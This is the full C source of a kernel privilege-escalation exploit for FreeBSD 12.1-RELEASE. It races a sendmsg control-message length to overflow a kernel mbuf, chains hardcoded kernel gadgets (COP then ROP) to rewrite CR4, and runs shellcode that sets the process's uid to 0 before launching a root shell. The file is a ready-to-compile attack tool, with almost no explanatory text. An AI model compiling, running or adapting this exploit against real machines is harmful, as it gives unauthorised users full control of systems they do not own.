/*
 * cc -o exploit exploit.c -m32 -lpthread -Wall -O1
 *
 * To be used on FreeBSD-12.1-RELEASE, that is:
 * aa9d34b458826486999ed3e872436b6712ae38cede5ea41de4ab923e3419d461  FreeBSD-12.1-RELEASE-amd64-disc1.iso
 */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdbool.h>
#include <errno.h>
#include <pthread.h>
#include <pthread_np.h>
#include <time.h>
#include <err.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/sysctl.h>
#include <sys/mman.h>
#include <machine/atomic.h>

#define __insn_barrier()	__asm __volatile("":::"memory")
#define roundup(x, y)		((((x)+((y)-1))/(y))*(y))

static const char Message[] = "b";

/* -------------------------------------------------------------------------- */

#define MLEN	224
#define NCMSG	(MLEN / (4*4))

static struct cmsghdr *ControlBuf;
static size_t ControlBufLen;

#define OVERFLOW_SIZE		256
static uint8_t *OverflowArea;

static uint8_t *ExecArea;
static uint8_t *MagicArea;

static void BuildControlBuf(void)
{
	size_t cmsgsize, i, allocsz;
	struct cmsghdr *cmsg;
	uint8_t *base;
	int ret;

	cmsgsize = NCMSG * sizeof(*cmsg);
	allocsz = roundup(cmsgsize + OVERFLOW_SIZE + PAGE_SIZE, PAGE_SIZE);

	/* Allocate. */
	base = mmap(NULL, allocsz, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANON,
	    -1, 0);
	if (base == MAP_FAILED) {
		printf("[!] Failed to mmap, errno=%d\n", errno);
		exit(-1);
	}

	/* Fault. */
	memset(base, 0, allocsz);

	/* Unmap the next page. */
	ret = mprotect(base + roundup(cmsgsize + OVERFLOW_SIZE, PAGE_SIZE),
	    PAGE_SIZE, PROT_NONE);
	if (ret != 0)
		errx(EXIT_FAILURE, "mprotect failed");

	if ((cmsgsize + OVERFLOW_SIZE) % PAGE_SIZE != 0) {
		/*
		 * Offset the base, to have exactly OVERFLOW_SIZE bytes
		 * available at the end.
		 */
		base += PAGE_SIZE - ((cmsgsize + OVERFLOW_SIZE) % PAGE_SIZE);
	}

	cmsg = (struct cmsghdr *)base;
	for (i = 0; i < NCMSG; i++) {
		cmsg->cmsg_len = sizeof(*cmsg);
		cmsg++;
	}

	ControlBuf = (struct cmsghdr *)base;
	ControlBufLen = cmsgsize;
	OverflowArea = base + ControlBufLen;
}

static void BuildShellcodeBuf(void)
{
	/* Allocate the magic area. */
	MagicArea = mmap((void *)0x2000, PAGE_SIZE,
	    PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANON|MAP_FIXED, -1, 0);
	if (MagicArea != (void *)0x2000) {
		printf("[!] Failed to mmap, errno=%d\n", errno);
		exit(-1);
	}

	/* Allocate the shellcode area. */
	ExecArea = mmap(NULL, PAGE_SIZE,
	    PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANON, -1, 0);
	if (ExecArea == MAP_FAILED) {
		printf("[!] Failed to mmap, errno=%d\n", errno);
		exit(-1);
	}

	/* Fault the shellcode area. */
	memset(ExecArea, 0, PAGE_SIZE);
	ExecArea[0] = 0xC3;
	void (*func)();
	func = (void *)&ExecArea[0];
	(*func)();

	/*
	 * Install the shellcode instructions. They repair the stack, and set
	 * uid=0 in the thread structure.
	 *
	 * 	48 8b 5d 00          	mov    0x0(%rbp),%rbx
	 * 	48 83 c5 08          	add    $0x8,%rbp
	 * 	48 89 ec             	mov    %rbp,%rsp
	 * 	65 48 8b 04 25 00 00 	mov    %gs:0x0,%rax       # thread ptr
	 * 	00 00
	 * 	48 8b 80 58 01 00 00 	mov    0x158(%rax),%rax   # ucred ptr
	 * 	c7 40 04 00 00 00 00 	movl   $0x0,0x4(%rax)     # cr_uid ptr
	 * 	48 c7 c0 00 20 00 00 	mov    $0x2000,%rax
	 * 	c6 00 01             	movb   $0x1,(%rax)        # set magic
	 * 	c3                   	retq
	 */
	const uint8_t instr[] = {
		0x48, 0x8b, 0x5d, 0x00,
		0x48, 0x83, 0xc5, 0x08,
		0x48, 0x89, 0xec,
		0x65, 0x48, 0x8b, 0x04, 0x25, 0x00, 0x00,
		0x00, 0x00,
		0x48, 0x8b, 0x80, 0x58, 0x01, 0x00, 0x00,
		0xc7, 0x40, 0x04, 0x00, 0x00, 0x00, 0x00,
		0x48, 0xc7, 0xc0, 0x00, 0x20, 0x00, 0x00,
		0xc6, 0x00, 0x01,
		0xc3
	};
	memcpy(ExecArea, instr, sizeof(instr));
}

/* -------------------------------------------------------------------------- */

#include <x86/specialreg.h>

struct cpuid {
	uint32_t eax, ebx, ecx, edx;
};

static inline void Cpuid(uint32_t eax, uint32_t ecx, struct cpuid *regs)
{
	__asm volatile (
		"cpuid"
		: "=a" (regs->eax), "=b" (regs->ebx),
		  "=c" (regs->ecx), "=d" (regs->edx)
		: "a" (eax), "c" (ecx)
	);
}

static uint64_t DetermineCr4Value(void)
{
	struct cpuid regs;
	uint64_t cr4 = 0;
	int ret, val;
	size_t size;

	cr4 |= CR4_PGE; /* mandatory */
	cr4 |= CR4_PAE; /* mandatory */

	Cpuid(1, 0, &regs);
	if ((regs.edx & CPUID_XMM) && (regs.edx & CPUID_FXSR))
		cr4 |= CR4_FXSR | CR4_XMM;
	if (regs.ecx & CPUID2_XSAVE)
		cr4 |= CR4_XSAVE;

	size = sizeof(val);
	ret = sysctlbyname("hw.mca.enabled", &val, &size, NULL, 0);
	if (ret != 0)
		errx(EXIT_FAILURE, "sysctlbyname hw.mca.enabled failed");
	if ((val != 0) && (regs.edx & CPUID_MCE))
		cr4 |= CR4_MCE;

	Cpuid(0, 0, &regs);
	if (regs.eax >= 0x00000007) {
		Cpuid(0x00000007, 0, &regs);
		if (regs.ebx & CPUID_STDEXT_FSGSBASE)
			cr4 |= CR4_FSGSBASE;
		if (regs.ecx & CPUID_STDEXT2_PKU)
			cr4 |= CR4_PKE;
	}

	size = sizeof(val);
	ret = sysctlbyname("vm.pmap.pcid_enabled", &val, &size, NULL, 0);
	if (ret != 0)
		errx(EXIT_FAILURE, "sysctlbyname vm.pmap.pcid_enabled failed");
	if (val != 0)
		cr4 |= CR4_PCIDE;

	// TODO: CR4_VMXE in case bhyve is enabled?

	return cr4;
}

/* -------------------------------------------------------------------------- */

/* AUTOMATICALLY GENERATED */
#define COP_GADGET6_ADDR 0xffffffff80d38633
#define ROP_GADGET1_ADDR 0xffffffff80f400ee
#define ROP_GADGET2_ADDR 0xffffffff81010600
#define ROP_GADGET4_ADDR 0xffffffff8108fca8
#define COP_GADGET2_ADDR 0xffffffff80a19c64
#define COP_GADGET5_ADDR 0xffffffff80ef169c
#define COP_GADGET7_ADDR 0xffffffff806571cd
#define COP_GADGET4_ADDR 0xffffffff80df0fd0
#define ROP_GADGET3_ADDR 0xffffffff8024810a
#define COP_GADGET9_ADDR 0xffffffff80249802
#define COP_GADGET8_ADDR 0xffffffff806a67f1
#define COP_GADGET1_ADDR 0xffffffff806a2766
#define COP_GADGET3_ADDR 0xffffffff80c1281c

static void BuildOverflowArea(void)
{
	struct mbuf {
		/* mbuf */
		uint64_t m_next;
		uint64_t m_nextpkt;
		uint64_t m_data;
		uint32_t m_len;
		uint32_t m_type:8, m_flags:24;

		/* pkthdr */
		uint8_t pkthdr[56];

		/* m_ext */
		union {
			uint32_t ext_count;
			uint64_t ext_cnt;
		};
		uint64_t ext_buf;
		uint32_t ext_size;
		uint32_t ext_type:8, ext_flags:24;
		uint64_t ext_free;
		uint64_t ext_arg1;
		uint64_t ext_arg2;
	};
	struct mbuf *m;
	uint64_t *u64;
	uint8_t *u8;

	m = (struct mbuf *)OverflowArea;
	m->m_next = 0;
	m->m_nextpkt = 0;
	m->m_data = COP_GADGET1_ADDR; /* whatever, just a valid address */
	m->m_len = sizeof(Message);
	m->m_type = 1 /* MT_DATA */;
	m->m_flags = 1 /* M_EXT */;
	m->ext_count = 1;
	m->ext_flags = 1 /* EXT_FLAG_EMBREF */;
	m->ext_type = 255 /* EXT_EXTREF */;
	m->ext_free = COP_GADGET1_ADDR; /* COP entry point */

	/*
	 * COP_GADGET1_ADDR : push rbx ; mov rbx, rdi ; call qword ptr [rdi + 0x90]
	 */
	u64 = (uint64_t *)&OverflowArea[0x90];
	*u64 = COP_GADGET2_ADDR;

	/*
	 * COP_GADGET2_ADDR : mov rax, rdi ; mov rdi, qword ptr [rdi + 0x50] ; pop rbp ; jmp qword ptr [rax + 0x48]
	 */
#define loc_PML4pml4e	0xffff804020100000ULL
	u64 = (uint64_t *)&OverflowArea[0x50]; /* RDI re-used later */
	*u64 = loc_PML4pml4e - 0xCBULL + 7ULL;
	u64 = (uint64_t *)&OverflowArea[0x48];
	*u64 = COP_GADGET3_ADDR;

	/*
	 * COP_GADGET3_ADDR : push rsp ; call qword ptr [rax + 0x40]
	 */
	u64 = (uint64_t *)&OverflowArea[0x40];
	*u64 = COP_GADGET4_ADDR;

	/*
	 * COP_GADGET4_ADDR : pop rsi ; pop rbp ; jmp qword ptr [rax + 0x20]
	 */
	u64 = (uint64_t *)&OverflowArea[0x20];
	*u64 = COP_GADGET5_ADDR;

	/*
	 * COP_GADGET5_ADDR : mov rsi, rbx ; call qword ptr [rax + 0x38]
	 */
	u64 = (uint64_t *)&OverflowArea[0x38];
	*u64 = COP_GADGET6_ADDR;

	/*
	 * COP_GADGET6_ADDR : add al, 0x5d ; jmp qword ptr [rax + 0x50]
	 */
	u64 = (uint64_t *)&OverflowArea[0x5D + 0x50];
	*u64 = COP_GADGET7_ADDR;

	/*
	 * COP_GADGET7_ADDR : or al, 0x20 ; add byte ptr [rax], al ; call qword ptr [rax + 8]
	 * Note: has a side effect cancelled in COP_GADGET9.
	 */
	u64 = (uint64_t *)&OverflowArea[0x7D + 0x8];
	*u64 = COP_GADGET8_ADDR;

	/*
	 * COP_GADGET8_ADDR : push rax ; jmp qword ptr [rsi + 0x2e]
	 */
	u64 = (uint64_t *)&OverflowArea[0x2E];
	*u64 = COP_GADGET9_ADDR;

	/*
	 * COP_GADGET9_ADDR : pop rsp ; ret
	 */
	u64 = (uint64_t *)&OverflowArea[0x7D];
	*u64 = ROP_GADGET1_ADDR;
	u8 = &OverflowArea[0x7D];
	*u8 -= 0x7D; /* cancel the side effect */

	/*
	 * From here on, we have a ROP with &0x85 as stack address. This leaves
	 * room for 8 pointers.
	 */

	/*
	 * ROP_GADGET1_ADDR : add rsp, 0x38 ; ret
	 * Consumes 1 pointer, 7 left.
	 */
	u64 = (uint64_t *)&OverflowArea[0x85+0x38+8*0];
	*u64 = ROP_GADGET2_ADDR;

	/*
	 * ROP_GADGET2_ADDR : mov byte ptr [rdi + 0xcb], 0 ; ret
	 * Consumes 1 pointer, 6 left.
	 */
	u64 = (uint64_t *)&OverflowArea[0x85+0x38+8*1];
	*u64 = ROP_GADGET3_ADDR;

	/*
	 * ROP_GADGET3_ADDR : pop rsi ; ret
	 * Consumes 2 pointers, 4 left.
	 */
	u64 = (uint64_t *)&OverflowArea[0x85+0x38+8*2];
	*u64 = DetermineCr4Value();
	u64 = (uint64_t *)&OverflowArea[0x85+0x38+8*3];
	*u64 = ROP_GADGET4_ADDR;

	/*
	 * ROP_GADGET4_ADDR : mov cr4, rsi ; ret
	 * Consumes 1 pointer, 3 left.
	 */
	u64 = (uint64_t *)&OverflowArea[0x85+0x38+8*4];
	*u64 = (uint64_t)ExecArea;
}

/* -------------------------------------------------------------------------- */

#define PORT	8080

static struct sockaddr_in ServerAddr;
static int ServerFd;
static int ClientFd;

static void InitMbuf(void)
{
	int ret;

	ServerFd = socket(AF_INET, SOCK_DGRAM, 0);
	if (ServerFd == -1)
		errx(EXIT_FAILURE, "socket creation failed");

	ServerAddr.sin_family = AF_INET;
	ServerAddr.sin_addr.s_addr = INADDR_ANY;
	ServerAddr.sin_port = htons(PORT);
	ret = bind(ServerFd, (struct sockaddr *)&ServerAddr,
	    sizeof(ServerAddr));
	if (ret < 0)
		errx(EXIT_FAILURE, "bind failed");

	ClientFd = socket(AF_INET, SOCK_DGRAM, 0);
	if (ClientFd == -1)
		errx(EXIT_FAILURE, "socket creation failed");
}

static void PopMbuf(void)
{
	char buffer[8];
	ssize_t nrecv;

	nrecv = recvfrom(ServerFd, (char *)buffer, sizeof(Message),
	    MSG_WAITALL, NULL, NULL);

	if (nrecv != sizeof(Message))
		errx(EXIT_FAILURE, "recvfrom failed");
}

static void PushMbuf(void)
{
	ssize_t nsent;

	nsent = sendto(ClientFd, Message, sizeof(Message), 0,
	    (const struct sockaddr *)&ServerAddr, sizeof(ServerAddr));
	if (nsent != sizeof(Message))
		errx(EXIT_FAILURE, "sendto failed");
}

/* -------------------------------------------------------------------------- */

static volatile u_int nWrecker = 0;

static void *WreckerThread(void *arg)
{
	struct timespec tim;

	tim.tv_sec = 0;
	tim.tv_nsec = 50;

	atomic_add_int(&nWrecker, 1);

	while (1) {
		/* Correct size. */
		__insn_barrier();
		ControlBuf[NCMSG-1].cmsg_len = sizeof(struct cmsghdr);
		__insn_barrier();

		if (nanosleep(&tim , NULL) != 0)
			errx(EXIT_FAILURE, "nanosleep failed");

		/* Incorrect (increased) size. */
		__insn_barrier();
		ControlBuf[NCMSG-1].cmsg_len = 0xFFFFFFFF;
		__insn_barrier();

		if (nanosleep(&tim , NULL) != 0)
			errx(EXIT_FAILURE, "nanosleep failed");
	}

	return NULL;
}

#define N_PUSH_MBUFS	100
#define N_POP_MBUFS	50
#define N_TRIES	200

static void *ExecutorThread(void *arg)
{
	const int bad_fd = 666;
	size_t nwinners, i;
	struct msghdr msg;
	int ret;

	memset(&msg, 0, sizeof(msg));
	msg.msg_control = ControlBuf;
	msg.msg_controllen = ControlBufLen;

	InitMbuf();

	nwinners = 0;

	while (1) {
		/* Prepare the heap. */
		for (i = 0; i < N_PUSH_MBUFS; i++) {
			PushMbuf();
		}
		for (i = 0; i < N_POP_MBUFS; i++) {
			PopMbuf();
		}

		/* Try. */
		for (i = 0; i < N_TRIES; i++) {
			ret = sendmsg(bad_fd, &msg, 0);
			if (ret != -1) {
				printf("ret = %d\n", ret);
				break;
			}
			if (errno != EBADF && errno != EINVAL) {
				nwinners++;
				if (errno == EFAULT)
					printf("[+] Winner %zu\n", nwinners);
				else
					printf("[!] Failed, errno = %d\n", errno);
				break;
			}
		}

		/* Cleanup. */
		for (i = 0; i < N_PUSH_MBUFS - N_POP_MBUFS; i++) {
			PopMbuf();
		}

		/* Verify the magic got set by our shellcode. */
		if (MagicArea[0] != 0) {
			printf("[+] Magic found\n");

			if (setuid(0) != 0) {
				printf("[!] Setuid failed\n");
			} else {
				char *argv[] = { "sh", NULL };
				char *envp[] = { NULL };
				execve("/bin/sh", argv, envp);
			}

			exit(-1);
		}
	}

	return NULL;
}

/* -------------------------------------------------------------------------- */

static int GetNumberOfCpus(void)
{
	int ret, val;
	size_t size;

	size = sizeof(val);
	ret = sysctlbyname("hw.ncpu", &val, &size, NULL, 0);
	if (ret != 0)
		errx(EXIT_FAILURE, "sysctlbyname hw.ncpu failed");

	return val;
}

int main(int argc, char *argv[])
{
	pthread_t exid;
	pthread_t wrid;
	cpuset_t cs_1;
	cpuset_t cs_2;
	int ncpus;

	BuildControlBuf();
	BuildShellcodeBuf();
	BuildOverflowArea();

	CPU_ZERO(&cs_1);
	CPU_ZERO(&cs_2);
	ncpus = GetNumberOfCpus();
	if (ncpus < 2)
		errx(EXIT_FAILURE, "machine must have at least 2 cpus");
	CPU_SET(ncpus-1, &cs_1);
	CPU_SET(ncpus-2, &cs_2);

	/* Start the wrecker. */
	printf("[+] Starting wrecker\n");
	if (pthread_create(&wrid, NULL, WreckerThread, NULL) != 0)
		errx(EXIT_FAILURE, "[!] pthread_create failed");
	if (pthread_setaffinity_np(wrid, sizeof(cs_1), &cs_1) != 0)
		errx(EXIT_FAILURE, "[!] pthread_setaffinity_np failed");

	/* Wait. */
	while (atomic_load_int(&nWrecker) != 1);
	printf("[+] Wrecker ready\n");

	/* Start the executor. */
	printf("[+] Starting executor\n");
	if (pthread_create(&exid, NULL, ExecutorThread, NULL) != 0)
		errx(EXIT_FAILURE, "[!] pthread_create failed");
	if (pthread_setaffinity_np(exid, sizeof(cs_2), &cs_2) != 0)
		errx(EXIT_FAILURE, "[!] pthread_setaffinity_np failed");

	printf("[+] Waiting...\n");
	pthread_join(exid, NULL);

	printf("[+] Done\n");
	return 0;
}